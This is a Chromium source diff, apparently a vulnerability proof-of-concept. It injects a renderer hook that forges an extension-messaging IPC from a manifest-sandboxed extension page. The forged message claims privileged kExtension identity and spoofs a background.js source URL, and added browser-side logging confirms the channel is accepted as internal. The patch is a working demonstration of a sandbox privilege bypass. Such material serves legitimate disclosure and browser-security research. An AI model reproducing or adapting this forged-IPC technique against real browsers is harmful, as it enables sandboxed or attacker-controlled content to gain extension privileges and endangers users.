diff --git a/extensions/browser/api/messaging/message_service_bindings.cc b/extensions/browser/api/messaging/message_service_bindings.cc index d2a6f8737bc1f..f0bc03e0bb8ea 100644 --- a/extensions/browser/api/messaging/message_service_bindings.cc +++ b/extensions/browser/api/messaging/message_service_bindings.cc @@ -6,6 +6,7 @@ #include "base/debug/crash_logging.h" #include "base/feature_list.h" +#include "base/logging.h" #include "base/metrics/histogram_functions.h" #include "base/types/optional_util.h" #include "content/public/browser/browser_thread.h" @@ -88,7 +89,17 @@ bool IsValidMessagingSource(RenderProcessHost& process, &process, bad_message::EMF_INVALID_CHANNEL_SOURCE_TYPE); return false; - case MessagingEndpoint::Type::kExtension: + case MessagingEndpoint::Type::kExtension: { + bool poc_sandboxed = IsPortContextSandboxed(process, source_context); + if (poc_sandboxed) { + LOG(ERROR) + << "[POC][browser] IsValidMessagingSource: source claims " + "Type::kExtension, but IsPortContextSandboxed()=TRUE " + "(process_id=" + << process.GetDeprecatedID() + << ", ext_id=" << source_endpoint.extension_id.value_or("") + << ")"; + } if (!source_endpoint.extension_id.has_value()) { if (!base::FeatureList::IsEnabled( extensions_features::kCheckingNoExtensionIdInExtensionIpcs)) { @@ -109,7 +120,14 @@ bool IsValidMessagingSource(RenderProcessHost& process, bad_message::EMF_INVALID_EXTENSION_ID_FOR_EXTENSION_SOURCE); return false; } + if (poc_sandboxed) { + LOG(ERROR) << "[POC][browser] IsValidMessagingSource: " + "CanRendererHostExtensionOrigin(is_sandboxed=true) " + "PASSED -> accepting kExtension source from sandboxed " + "process. Channel will be treated as INTERNAL."; + } return true; + } case MessagingEndpoint::Type::kContentScript: { if (!source_endpoint.extension_id) { diff --git a/extensions/renderer/extension_frame_helper.cc b/extensions/renderer/extension_frame_helper.cc index 5273756a5fca9..12c2c9c7cfc3d 100644 --- a/extensions/renderer/extension_frame_helper.cc +++ b/extensions/renderer/extension_frame_helper.cc @@ -14,8 +14,15 @@ #include "base/timer/elapsed_timer.h" #include "content/public/renderer/render_frame.h" #include "extensions/common/api/messaging/message.h" +#include "extensions/common/api/messaging/messaging_endpoint.h" #include "extensions/common/api/messaging/port_id.h" #include "extensions/common/constants.h" +#include "extensions/common/mojom/message_port.mojom.h" +#include "base/logging.h" +#include "base/no_destructor.h" +#include "base/unguessable_token.h" +#include "mojo/public/cpp/bindings/pending_associated_receiver.h" +#include "mojo/public/cpp/bindings/pending_associated_remote.h" #include "extensions/common/extension_features.h" #include "extensions/common/extension_id.h" #include "extensions/common/manifest_handlers/background_info.h" @@ -121,6 +128,68 @@ enum class PortType { NATIVE_APP, }; +// ========================================================================== +// POC INJECTION: simulate a compromised renderer in a manifest-sandboxed +// extension page sending a forged OpenChannelToExtension IPC with +// source_endpoint.type = kExtension. A real attacker controlling the +// sandboxed renderer process would do this directly; this hook just makes it +// reproducible without a separate renderer exploit. +// ========================================================================== +struct PocPortKeepalive { + mojo::PendingAssociatedReceiver port_receiver; + mojo::AssociatedRemote port_host_remote; +}; + +void MaybeFireSandboxPocIpc(ExtensionFrameHelper* helper, + content::RenderFrame* render_frame) { + GURL url(render_frame->GetWebFrame()->GetDocument().Url()); + if (!url.SchemeIs(kExtensionScheme)) { + return; + } + if (url.path().find("sandbox.html") == std::string::npos) { + return; + } + static bool fired = false; + if (fired) { + return; + } + fired = true; + + std::string ext_id = url.GetHost(); + LOG(ERROR) << "[POC][renderer] Sandboxed extension page committed: " << url; + LOG(ERROR) << "[POC][renderer] Forging OpenChannelToExtension from sandboxed " + "process; claiming source_endpoint.type=kExtension, id=" + << ext_id; + + // Build the Mojo port endpoints. Keep them alive forever so the browser + // doesn't see an immediate disconnect before delivering onConnect to the SW. + static base::NoDestructor keepalive; + mojo::PendingAssociatedRemote port_remote = + keepalive->port_receiver.InitWithNewEndpointAndPassRemote(); + mojo::PendingAssociatedRemote port_host_pending; + mojo::PendingAssociatedReceiver port_host_receiver = + port_host_pending.InitWithNewEndpointAndPassReceiver(); + keepalive->port_host_remote.Bind(std::move(port_host_pending)); + + // Forge the connection info: claim to be a *privileged* kExtension context + // of this same extension, and spoof source_url to a privileged path. + auto info = mojom::ExternalConnectionInfo::New(); + info->source_endpoint = MessagingEndpoint::ForExtension(ext_id); + info->target_id = ext_id; + info->source_url = + GURL(std::string("chrome-extension://") + ext_id + "/background.js"); + + PortId port_id(base::UnguessableToken::Create(), /*port_number=*/0, + /*is_opener=*/true, mojom::SerializationFormat::kJson); + + helper->GetLocalFrameHost()->OpenChannelToExtension( + std::move(info), mojom::ChannelType::kConnect, + /*channel_name=*/"poc-from-sandbox", port_id, std::move(port_remote), + std::move(port_host_receiver)); + + LOG(ERROR) << "[POC][renderer] OpenChannelToExtension IPC sent."; +} + // Returns an extension hosted in the |render_frame| (or nullptr if the frame // doesn't host an extension). const Extension* GetExtensionFromFrame(content::RenderFrame* render_frame) { @@ -286,6 +355,8 @@ void ExtensionFrameHelper::DidCreateDocumentElement() { did_create_current_document_element_ = true; extension_dispatcher_->DidCreateDocumentElement( render_frame()->GetWebFrame()); + // POC: simulate compromised sandboxed renderer. + MaybeFireSandboxPocIpc(this, render_frame()); } void ExtensionFrameHelper::DidCreateNewDocument() {